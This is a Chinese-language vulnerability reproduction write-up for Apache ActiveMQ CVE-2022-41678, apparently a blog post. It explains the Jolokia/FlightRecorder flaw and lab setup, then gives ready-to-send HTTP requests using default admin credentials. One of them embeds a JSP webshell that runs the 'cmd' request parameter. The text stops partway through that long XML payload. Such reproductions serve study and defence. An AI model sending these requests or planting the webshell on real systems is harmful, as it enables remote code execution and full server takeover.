ActiveMQ 远程代码执行漏洞cve-2022-41678复现

一、 漏洞简述

2023年12月01日,Apache发布了ActiveMQ的风险通告,漏洞编号为CVE-2022-41678,漏洞等级:高危。

Apache ActiveMQ是最流行的开源消息中间件,为应用程序提供高效的、可扩展的、稳定的和安全的企业级消息通信。

二、风险等级

评定方式等级
威胁等级高危
影响面广泛
攻击者价值
利用难度

三、产生原因

CVE-2022-41678漏洞的产生原因是Apache ActiveMQ中的Jolokia服务存在配置不当的问题。

该漏洞存在于ActiveMQ配置中,经过身份验证的攻击者可利用该漏洞,通过Jolokia服务发送特制的HTTP请求写入恶意文件,进而实现远程代码执行。

Jolokia是一个JMX(Java Management Extensions,Java管理扩展)通过HTTP的桥接服务,它允许通过HTTP请求来操作JMX MBeans。在受影响的Apache ActiveMQ版本中,经过身份验证的用户可以通过/api/jolokia/接口操作MBean,其中FlightRecorderMBean是漏洞的核心。FlightRecorderMBean是JDK 11及以上版本中提供的一个功能,用于记录内存、垃圾回收、调用栈等信息。攻击者可以利用这个MBean中的方法,通过发送特制的HTTP请求来写入恶意文件,进而实现远程代码执行。

影响版本
Apache ActiveMQ < 5.16.6
5.17.0< Apache ActiveMQ < 5.17.4
安全版本
Apache ActiveMQ >= 5.17.4
Apache ActiveMQ >= 5.16.6
Apache ActiveMQ >= 6.0.0
Apache ActiveMQ >= 5.18.0

官方已发布新版本修复了该漏洞:
https://github.com/apache/activemq/tags

四、利用条件

要利用CVE-2022-41678漏洞,攻击者需要满足以下条件:

  1. 目标系统需要运行受影响的Apache ActiveMQ版本,这些版本包括5.16.0至5.16.5以及5.17.0至5.17.3。
  2. 攻击者需要能够访问ActiveMQ的/api/jolokia/接口,这通常意味着攻击者需要拥有有效的身份验证凭据,能够登录到ActiveMQ的后台管理界面。
  3. 构造恶意请求,传入目标MBean为FlightRecorderMXBean,调用FlightRecorderMXBean的newRecording方法创建一个新的Recording对象
  4. 调用setConfiguration方法,设置Recording使用的配置文件,在配置文件中的键名中插入WebShell。由于导出的数据会包含键名,所以当我们在键名中插入WebShell时,导出的数据也会包含该WebShell
  5. 调用startRecording开启事件记录
  6. 调用stopRecording停止事件记录
  7. 调用copyTo方法,将记录的数据保存到指定文件,这里我们可以指定为web应用目录下的一个jsp文件
  8. 这样最终就实现了写入一个包含恶意命令执行代码的WebShell文件,之后访问这个WebShell,命令就会被执行

五、利用过程

CVE-2022-41678漏洞的利用过程通常包括以下几个步骤:

  1. 登录ActiveMQ后台:攻击者首先使用有效的身份验证凭据登录到ActiveMQ的后台管理界面。
  2. 构造恶意HTTP请求:攻击者构造一个包含恶意代码的HTTP请求,该请求将利用FlightRecorderMBean中的方法来写入恶意文件。具体来说,攻击者可能会通过setConfiguration方法修改配置,将一些键名改为JSP代码,这样在记录的数据中就会包含攻击者注入的JSP代码。
  3. 发送恶意HTTP请求:攻击者将构造好的恶意HTTP请求发送到ActiveMQ服务器的/api/jolokia/接口。
  4. 写入恶意文件:当ActiveMQ服务器接收到这个恶意HTTP请求并处理时,会触发漏洞,导致恶意代码被写入到ActiveMQ的web目录中。
  5. 执行远程代码:攻击者通过访问包含恶意代码的JSP文件来执行远程代码,从而完全控制目标系统。

六、PoC(概念验证)

目前,CVE-2022-41678漏洞的PoC已经公开。PoC通常是一个简化的攻击示例,用于演示如何利用特定的漏洞。以下是一个简化的PoC示例,用于演示如何利用CVE-2022-41678漏洞:

  1. 准备环境:搭建一个受影响的Apache ActiveMQ版本,并确保能够登录到后台管理界面。
  2. 构造Payload:构造一个包含恶意JSP代码的Payload,该Payload将利用FlightRecorderMBean的setConfiguration方法将恶意代码写入到ActiveMQ的web目录中。
  3. 发送Payload:通过构造的HTTP请求将Payload发送到ActiveMQ服务器的/api/jolokia/接口。这通常需要使用一些工具或脚本来自动化这个过程。
  4. 验证漏洞:访问ActiveMQ服务器的web目录中的恶意JSP文件,如果成功执行了恶意代码,则表明漏洞利用成功。

七、PoC(环境验证)

7.1 环境搭建

有两种搭建,第一种是利用MQ官网的安装包,第二种是使用vulhub环境

7.1.1 第一种是利用MQ官网的安装包
  • 在线下载-官方网址 https://activemq.apache.org/components/classic/download/
wget https://www.apache.org/dyn/closer.cgi?filename=/activemq/5.16.5/apache-activemq-5.16.5-bin.tar.gz&action=download

在这里插入图片描述
或者官网下载后将包传到kali中,官网点击下图红色标记处
在这里插入图片描述
选择对应的版本进行下载
在这里插入图片描述

在这里插入图片描述
activemq安装

解压安装包 sudo tar zxvf /opt/apache-activemq-5.16.5-bin.tar.gz

.进入bin目录,输入如下命令启动ActiveMQ
./activemq start

查看是否已启动ActiveMQ
./activemq status

在这里插入图片描述

修改conf/jetty.xml文件,把127.0.0.1修改成0.0.0.0,然后重启(如果无法访问8161端口)
在这里插入图片描述
在这里插入图片描述

关闭防火墙(如果无法访问8161端口)

service iptables stop

service iptables status

重启,当我访问的时候,会出现下图情况
在这里插入图片描述
这应该是安全方面的问题,还是在jetty.xml那里看,安全方面的信息,配置都设成false
在这里插入图片描述
服务重启后,访问8161端口,成功登录页面
在这里插入图片描述
在这里插入图片描述
队列消息是空,页面没有问题
在这里插入图片描述

7.1.2第二种是使用vulhub环境

使用vulhub环境,拉取资源,主要创建CVE-2022-41678/docker-compose.yml这个文件

https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2022-41678/docker-compose.yml

在下图的目录下执行 docker-compose up -d
在这里插入图片描述
显示状态为创建
在这里插入图片描述
容器的 ID 或名称,使用 docker start 命令来启动它:

docker start <container_id_or_name>

在这里插入图片描述
访问地址在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
没有创建任何消息,队列中为空为正确,环境搭建完成。
在这里插入图片描述

7.2环境验证

ActiveMQ 中,经过身份验证的用户默认情况下可以通过 /api/jolokia/接口操作 MBean,其中FlightRecorder可以被用于写Jsp WebShell,从而造成程代码执行漏洞

主要问题出在FlightRecorder这个Mbean,漏洞思路是通过setConfiguration修改配置,录制完成后,通过copyTo导出到web目录即可。
注意:下面验证步骤尽一次性成功,如中间失败请第一步重新开始。

第1步一样访问,获取mbean值

GET /api/jolokia/list HTTP/1.1
Host: 192.168.225.166:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Origin:192.168.225.166:8161

第2步如下,进行新增记录newRecording,获取value值

POST /api/jolokia/ HTTP/1.1
Host: 192.168.225.166:8161
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Origin: http://192.168.225.166:8161
Content-Length: 113
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "newRecording", "arguments": []}

在这里插入图片描述

第3步,调用setConfiguration构造包含WebShell的配置文件,注意需要把xml数据的双引号转义,换行不要去掉

POST /api/jolokia HTTP/1.1
Host: 192.168.225.166:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Origin:192.168.225.166:8161

{"type": "exec", "mbean": "jdk.management.jfr:type=FlightRecorder", "operation": "setConfiguration", "arguments": [1,"<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<configuration version=\"2.0\" label=\"Continuous\" description=\"Low overhead configuration safe for continuous use in production environments, typically less than 1 % overhead.\" provider=\"Oracle\">
    <event name=\"jdk.ThreadAllocationStatistics\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\"><![CDATA[||| (<% Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));
out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), \"utf-8\")); %>) |||]]></setting>
    </event>
    <event name=\"jdk.ClassLoadingStatistics\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">1000 ms</setting>
    </event>
    <event name=\"jdk.ClassLoaderStatistics\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">everyChunk</setting>
    </event>
    <event name=\"jdk.JavaThreadStatistics\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">1000 ms</setting>
    </event>
    <event name=\"jdk.ThreadStart\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.ThreadEnd\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.ThreadSleep\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"synchronization-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.ThreadPark\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"synchronization-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.JavaMonitorEnter\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"synchronization-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.JavaMonitorWait\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"synchronization-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.JavaMonitorInflate\">
      <setting name=\"enabled\">false</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"synchronization-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.BiasedLockRevocation\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.BiasedLockSelfRevocation\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.BiasedLockClassRevocation\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.ReservedStackActivation\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.ClassLoad\">
      <setting name=\"enabled\" control=\"class-loading-enabled\">false</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.ClassDefine\">
      <setting name=\"enabled\" control=\"class-loading-enabled\">false</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.ClassUnload\">
      <setting name=\"enabled\" control=\"class-loading-enabled\">false</setting>
    </event>
    <event name=\"jdk.JVMInformation\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.InitialSystemProperty\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.ExecutionSample\">
      <setting name=\"enabled\" control=\"method-sampling-enabled\">true</setting>
      <setting name=\"period\" control=\"method-sampling-java-interval\">20 ms</setting>
    </event>
    <event name=\"jdk.NativeMethodSample\">
      <setting name=\"enabled\" control=\"method-sampling-enabled\">true</setting>
      <setting name=\"period\" control=\"method-sampling-native-interval\">20 ms</setting>
    </event>
    <event name=\"jdk.SafepointBegin\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <event name=\"jdk.SafepointStateSynchronization\">
      <setting name=\"enabled\">false</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <event name=\"jdk.SafepointWaitBlocked\">
      <setting name=\"enabled\">false</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <event name=\"jdk.SafepointCleanup\">
      <setting name=\"enabled\">false</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <event name=\"jdk.SafepointCleanupTask\">
      <setting name=\"enabled\">false</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <event name=\"jdk.SafepointEnd\">
      <setting name=\"enabled\">false</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <event name=\"jdk.ExecuteVMOperation\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <event name=\"jdk.Shutdown\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.ThreadDump\">
      <setting name=\"enabled\" control=\"thread-dump-enabled\">true</setting>
      <setting name=\"period\" control=\"thread-dump-interval\">everyChunk</setting>
    </event>
    <event name=\"jdk.IntFlag\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.UnsignedIntFlag\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.LongFlag\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.UnsignedLongFlag\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.DoubleFlag\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.BooleanFlag\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.StringFlag\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.IntFlagChanged\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.UnsignedIntFlagChanged\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.LongFlagChanged\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.UnsignedLongFlagChanged\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.DoubleFlagChanged\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.BooleanFlagChanged\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.StringFlagChanged\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.ObjectCount\">
      <setting name=\"enabled\" control=\"memory-profiling-enabled-all\">false</setting>
      <setting name=\"period\">everyChunk</setting>
    </event>
    <event name=\"jdk.GCConfiguration\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"period\">everyChunk</setting>
    </event>
    <event name=\"jdk.GCHeapConfiguration\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.YoungGenerationConfiguration\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.GCTLABConfiguration\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.GCSurvivorConfiguration\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.ObjectCountAfterGC\">
      <setting name=\"enabled\">false</setting>
    </event>
    <event name=\"jdk.GCHeapSummary\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.PSHeapSummary\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.G1HeapSummary\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.MetaspaceSummary\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.MetaspaceGCThreshold\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.MetaspaceAllocationFailure\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.MetaspaceOOM\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.MetaspaceChunkFreeListSummary\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.GarbageCollection\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.ParallelOldGarbageCollection\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.YoungGarbageCollection\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.OldGarbageCollection\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.G1GarbageCollection\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.GCPhasePause\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.GCPhasePauseLevel1\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.GCPhasePauseLevel2\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.GCPhasePauseLevel3\">
      <setting name=\"enabled\" control=\"gc-enabled-all\">false</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.GCPhasePauseLevel4\">
      <setting name=\"enabled\" control=\"gc-enabled-all\">false</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.GCPhaseConcurrent\">
      <setting name=\"enabled\" control=\"gc-enabled-all\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.GCReferenceStatistics\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.PromotionFailed\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.EvacuationFailed\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.EvacuationInformation\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.G1MMU\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.G1EvacuationYoungStatistics\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.G1EvacuationOldStatistics\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.G1BasicIHOP\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.G1AdaptiveIHOP\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.PromoteObjectInNewPLAB\">
      <setting name=\"enabled\" control=\"memory-profiling-enabled-medium\">false</setting>
    </event>
    <event name=\"jdk.PromoteObjectOutsidePLAB\">
      <setting name=\"enabled\" control=\"memory-profiling-enabled-medium\">false</setting>
    </event>
    <event name=\"jdk.ConcurrentModeFailure\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.AllocationRequiringGC\">
      <setting name=\"enabled\" control=\"gc-enabled-all\">false</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.TenuringDistribution\">
      <setting name=\"enabled\" control=\"gc-enabled-normal\">true</setting>
    </event>
    <event name=\"jdk.G1HeapRegionInformation\">
      <setting name=\"enabled\" control=\"gc-enabled-all\">false</setting>
      <setting name=\"period\">everyChunk</setting>
    </event>
    <event name=\"jdk.G1HeapRegionTypeChange\">
      <setting name=\"enabled\" control=\"gc-enabled-all\">false</setting>
    </event>
    <event name=\"jdk.ShenandoahHeapRegionInformation\">
      <setting name=\"enabled\" control=\"gc-enabled-all\">false</setting>
      <setting name=\"period\">everyChunk</setting>
    </event>
    <event name=\"jdk.ShenandoahHeapRegionStateChange\">
      <setting name=\"enabled\" control=\"gc-enabled-all\">false</setting>
    </event>
    <event name=\"jdk.OldObjectSample\">
      <setting name=\"enabled\" control=\"memory-leak-detection-enabled\">true</setting>
      <setting name=\"stackTrace\" control=\"memory-leak-detection-stack-trace\">false</setting>
      <setting name=\"cutoff\" control=\"memory-leak-detection-cutoff\">0 ns</setting>
    </event>
    <event name=\"jdk.CompilerConfiguration\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.CompilerStatistics\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"period\">1000 ms</setting>
    </event>
    <event name=\"jdk.Compilation\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"threshold\" control=\"compiler-compilation-threshold\">1000 ms</setting>
    </event>
    <event name=\"jdk.CompilerPhase\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"threshold\" control=\"compiler-phase-threshold\">60 s</setting>
    </event>
    <event name=\"jdk.CompilationFailure\">
      <setting name=\"enabled\" control=\"compiler-enabled-failure\">false</setting>
    </event>
    <event name=\"jdk.CompilerInlining\">
      <setting name=\"enabled\" control=\"compiler-enabled-failure\">false</setting>
    </event>
    <event name=\"jdk.CodeSweeperConfiguration\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.CodeSweeperStatistics\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"period\">everyChunk</setting>
    </event>
    <event name=\"jdk.SweepCodeCache\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"threshold\" control=\"compiler-sweeper-threshold\">100 ms</setting>
    </event>
    <event name=\"jdk.CodeCacheConfiguration\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.CodeCacheStatistics\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"period\">everyChunk</setting>
    </event>
    <event name=\"jdk.CodeCacheFull\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
    </event>
    <event name=\"jdk.OSInformation\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.VirtualizationInformation\">
     <setting name=\"enabled\">true</setting>
     <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.CPUInformation\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.ThreadContextSwitchRate\">
      <setting name=\"enabled\" control=\"compiler-enabled\">true</setting>
      <setting name=\"period\">10 s</setting>
    </event>
    <event name=\"jdk.CPULoad\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">1000 ms</setting>
    </event>
    <event name=\"jdk.ThreadCPULoad\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">10 s</setting>
    </event>
    <event name=\"jdk.CPUTimeStampCounter\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.SystemProcess\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">endChunk</setting>
    </event>
    <event name=\"jdk.NetworkUtilization\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">5 s</setting>
    </event>
    <event name=\"jdk.InitialEnvironmentVariable\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">beginChunk</setting>
    </event>
    <event name=\"jdk.PhysicalMemory\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">everyChunk</setting>
    </event>
    <event name=\"jdk.ObjectAllocationInNewTLAB\">
      <setting name=\"enabled\" control=\"memory-profiling-enabled-medium\">false</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.ObjectAllocationOutsideTLAB\">
      <setting name=\"enabled\" control=\"memory-profiling-enabled-medium\">false</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.NativeLibrary\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">everyChunk</setting>
    </event>
    <event name=\"jdk.ModuleRequire\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">endChunk</setting>
    </event>
    <event name=\"jdk.ModuleExport\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">endChunk</setting>
    </event>
    <event name=\"jdk.FileForce\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"file-io-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.FileRead\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"file-io-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.FileWrite\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"file-io-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.SocketRead\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"socket-io-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.SocketWrite\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"stackTrace\">true</setting>
      <setting name=\"threshold\" control=\"socket-io-threshold\">20 ms</setting>
    </event>
    <event name=\"jdk.SecurityPropertyModification\">
       <setting name=\"enabled\">false</setting>
       <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.TLSHandshake\">
      <setting name=\"enabled\">false</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.X509Validation\">
       <setting name=\"enabled\">false</setting>
       <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.X509Certificate\">
       <setting name=\"enabled\">false</setting>
       <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.JavaExceptionThrow\">
      <setting name=\"enabled\" control=\"enable-exceptions\">false</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.JavaErrorThrow\">
      <setting name=\"enabled\" control=\"enable-errors\">true</setting>
      <setting name=\"stackTrace\">true</setting>
    </event>
    <event name=\"jdk.ExceptionStatistics\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"period\">1000 ms</setting>
    </event>
    <event name=\"jdk.ActiveRecording\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.ActiveSetting\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.DataLoss\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.DumpReason\">
      <setting name=\"enabled\">true</setting>
    </event>
    <event name=\"jdk.ZPageAllocation\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <event name=\"jdk.ZThreadPhase\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"threshold\">0 ms</setting>
    </event>
    <event name=\"jdk.ZStatisticsCounter\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <event name=\"jdk.ZStatisticsSampler\">
      <setting name=\"enabled\">true</setting>
      <setting name=\"threshold\">10 ms</setting>
    </event>
    <control>
      <selection name=\"gc-level\" default=\"detailed\" label=\"Garbage Collector\">
        <option label=\"Off\" name=\"off\">off</option>
        <option label=\"Normal\" name=\"detailed\">normal</option>
        <option label=\"All\" name=\"all\">all</option>
      </selection>
      <condition name=\"gc-enabled-normal\" true=\"true\" false=\"false\">
        <or>
          <test name=\"gc-level\" operator=\"equal\" value=\"normal\"/>
          <test name=\"gc-level\" operator=\"equal\" value=\"all\"/>
        </or>
      </condition>
      <condition name=\"gc-enabled-all\" true=\"true\" false=\"false\">
        <test name=\"gc-level\" operator=\"equal\" value=\"all\"/>
      </condition>
      <selection name=\"memory-profiling\" default=\"off\" label=\"Memory Profiling\">
        <option label=\"Off\" name=\"off\">off</option>
        <option label=\"Object Allocation and Promotion\" name=\"medium\">medium</option>
        <option label=\"All, including Heap Statistics (May cause long full GCs)\" name=\"all\">all</option>
      </selection>
      <condition name=\"memory-profiling-enabled-medium\" true=\"true\" false=\"false\">
        <or>
          <test name=\"memory-profiling\" operator=\"equal\" value=\"medium\"/>
          <test name=\"memory-profiling\" operator=\"equal\" value=\"all\"/>
        </or>
      </condition>
      <condition name=\"memory-profiling-enabled-all\" true=\"true\" false=\"false\">
